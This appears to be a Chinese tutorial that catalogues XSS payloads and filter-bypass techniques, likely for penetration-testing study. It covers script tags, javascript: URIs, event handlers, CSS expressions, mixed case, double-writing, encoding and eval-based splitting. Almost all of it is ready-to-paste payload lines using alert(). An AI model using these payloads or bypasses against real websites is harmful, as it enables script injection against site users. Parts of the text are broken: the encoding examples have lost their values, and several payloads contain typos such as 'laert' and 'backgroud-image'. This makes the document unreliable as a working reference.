1 XSS语句构造方式
由于xss攻击的是用户的浏览器,因此浏览器的类型及版本会影响到xss代码是否执行成功。
1.1 第一种:利用[<>]构造HTML/JS语句
可以利用[<>]构造HTML/JS语句,如
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>
1.2 第二种:利用javascript:伪协议
可以利用javascript:伪协议的方式构造XSS。
<a href="javascript:alert(/xss/)">touch me</a> //利用a标签的javascript:伪协议
<img src="javascript:alert(/xss/)" > //利用img标签的javascript:伪协议,但是这种方式在IE6下测试成功,在IE8失败
1.3 第三种:事件驱动
事件驱动:事件驱动是一种比较经典的编程思想。在网页内会发生很多事件(比如鼠标移动,键盘输入等),JS可以对此类事件进行响应,因此我们可以通过事件触发JS函数,触发XSS。关于js事件可以参考下《【JS基础-1】JavaScript语言简单介绍(语法、变量、数组、流程控制语句、函数、对象和事件)》。事件种类主要有以下几种。
-
Windows事件:对Windows对象触发的事件;
-
Form事件:HTML表单内的动作触发事件;
-
keyboard事件:键盘按键,onkeydown(当按下按键时触发)、onkeyup(当松开按键时触发)
-
Mouse事件:有鼠标或类似用户动作触发的事件,如ommouseover(鼠标悬停)、onclick(单击触发)
-
Media事件:由多媒体触发的事件,onerro(文档载入失败时触发)
<img src='./smile.jpg' onmouseover='alert(/xss/)'> //该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<img src='./smile.jpg' onerror='alert(/xss/)'> //onerror会在文档载入失败时触发XSS,比如下一个语句
<img src='#' onerror='alert(/xss/)'> //与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeydown="alert(/xss/)"> //单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">
1.4 第四种:利用CSS(层叠样式脚本)
利用CSS(层叠样式脚本)触发XSS的,该方法比较古老,现已基本不适用于主流浏览器,以下代码均在IE6下进行测试。其中,CSS(层叠样式脚本)可以参考《【HTML基础-4】CSS样式详解》。
// 行内样式
<div style = "backgroud-image:url(javascript:alert(/xss/))">
//页内样式
<style>Body{backgroud-image:url(javascript:alert(/xss/))}</style>
//外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>
//其中xss.css文本内容如下
h1 {color:red;}
div{
/*width:expression(alert(/xss/))*/
backgroud-image:url(javascript:alert(/xss/))
}
@ expression
<div style="width:expression(alert(/xss/))">
<style>Body{backgroud-image:expression(alert(/xss/));}</style>
@import
<style>@import 'javascript:alert("xss")';</style>
<style type="text/css">@import url(xss.css);</style><div>HELLO</div>
1.5 其他标签及手法
利用一些比较新的前端标签进行构造。
<svg onload="alert(/xss/)">svg是h5的标签,onload也是事件,提交即触发
<input onfocus=alert(xss/) autofocus>onfocus也为事件,聚焦(当光标放到目标)即触发
2 XSS语句变形及绕过
目的:我们可以将构造的XSS代码进行各种变形,以绕过XSS过滤器检测。
2.1 第一种:大小写混编
可以将payload进行大小写混编,如以下例子。例子中包含两种语言,其中html语言对大小写不敏感,也就是说无论是大小写,该语言都认为是同一个函数;但是JS语言对大小写敏感,比如alert()函数,如果改为Alert(),JS语言则认为是另一个东西。
<Img sRc='#' Onerror="alert(/xss/)"> //由<img src='#' οnerrοr="alert(/xss/)">变形得到的
<A Href="javaScript:alert(/xss/)">touch me</a> //由<a href="javascript:alert(/xss/)">touch me</a>变形得到的
2.2 第二种:双写绕过。
当发现过滤器仅进行一次过滤时并将一些关键字过滤为空,则可以使用双写绕过。
<scr<script>ipt>alert(/xss/)</scr</script>ipt>
2.3 第三种:引号的使用
HTML语言中对引号的使用不敏感,但是有些过滤函数则对引号时锱铢必较的,因此我们可以使用不同引号来闭合XSS语句。
//以下三种均可能成功触发XSS,具体能否注入就看过滤是如何过滤的了。
<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>
2.4 第四种:使用 [/] 代替空格
使用 [/] 代替空格,如:
<a/href="javascript:alert(/xss/)">touch me</a>
</src='#'/onerror='alert(/xss/)'>
2.5 第五种:在一些关键字内插入回车符与Tab符
在一些关键字内,可以插入回车符与Tab符来绕过关键字检测。
<img src ='#' onerror='alert(/xss/)'> //有时候tab符插在关键字内会失效。
<a href="ja va
script:alert(/xss/)">touch me</a>
2.6 第六种:编码绕过
编码绕过:可以对标签属性值进行转码,来实现绕过在,转码后的要加分号。
- 字符a,对应ASCII码97,十进制编码
a
,十六进制编码a
。
- 字符e,对应ASCII码101,十进制编码
e
,十六进制编码e
。
另外,可以将以下字符插入到任意位置中:
- Tab ==>
	
- 换行 ==>
- 回车 ==>
可以将以下字符插入到头部位置。
- SOH ==>

- STX ==>

转码后例子如下:
<a href="javascript:alert(/xss/)">click me!</a> //经过简单编码
<A href="javas	c r ipt:laert(/xss/)">click me!</a> //经过插入字符
2.7 第七种:拆分跨站
拆分跨站,将语句拆分成多个,拼串起来后再执行。若后台有对字符串长度对限制,则可用拆分跨站将一个比较长的shellcode拆成几部分。
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script> //ecal为执行函数,将后续的字符串当成语句执行。
2.8 第八种:CSS中的变形
CSS中的变形
width: expression(alert(/xss/)) //使用全角字符
width:expre/**/ssion(alert(/xss/)) //注释会被浏览器忽略
<style>@import 'javas\cri\0pt:alert(/xss/)';</style> //插入 \ 和 \0 符号
3 总结
(1)掌握XSS语句构造的4种方法;
(2)掌握XSS语句绕过的8种方法。
参考文章
[1] 《渗透中POC、EXP、Payload与Shellcode的区别》
[2] 《【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法》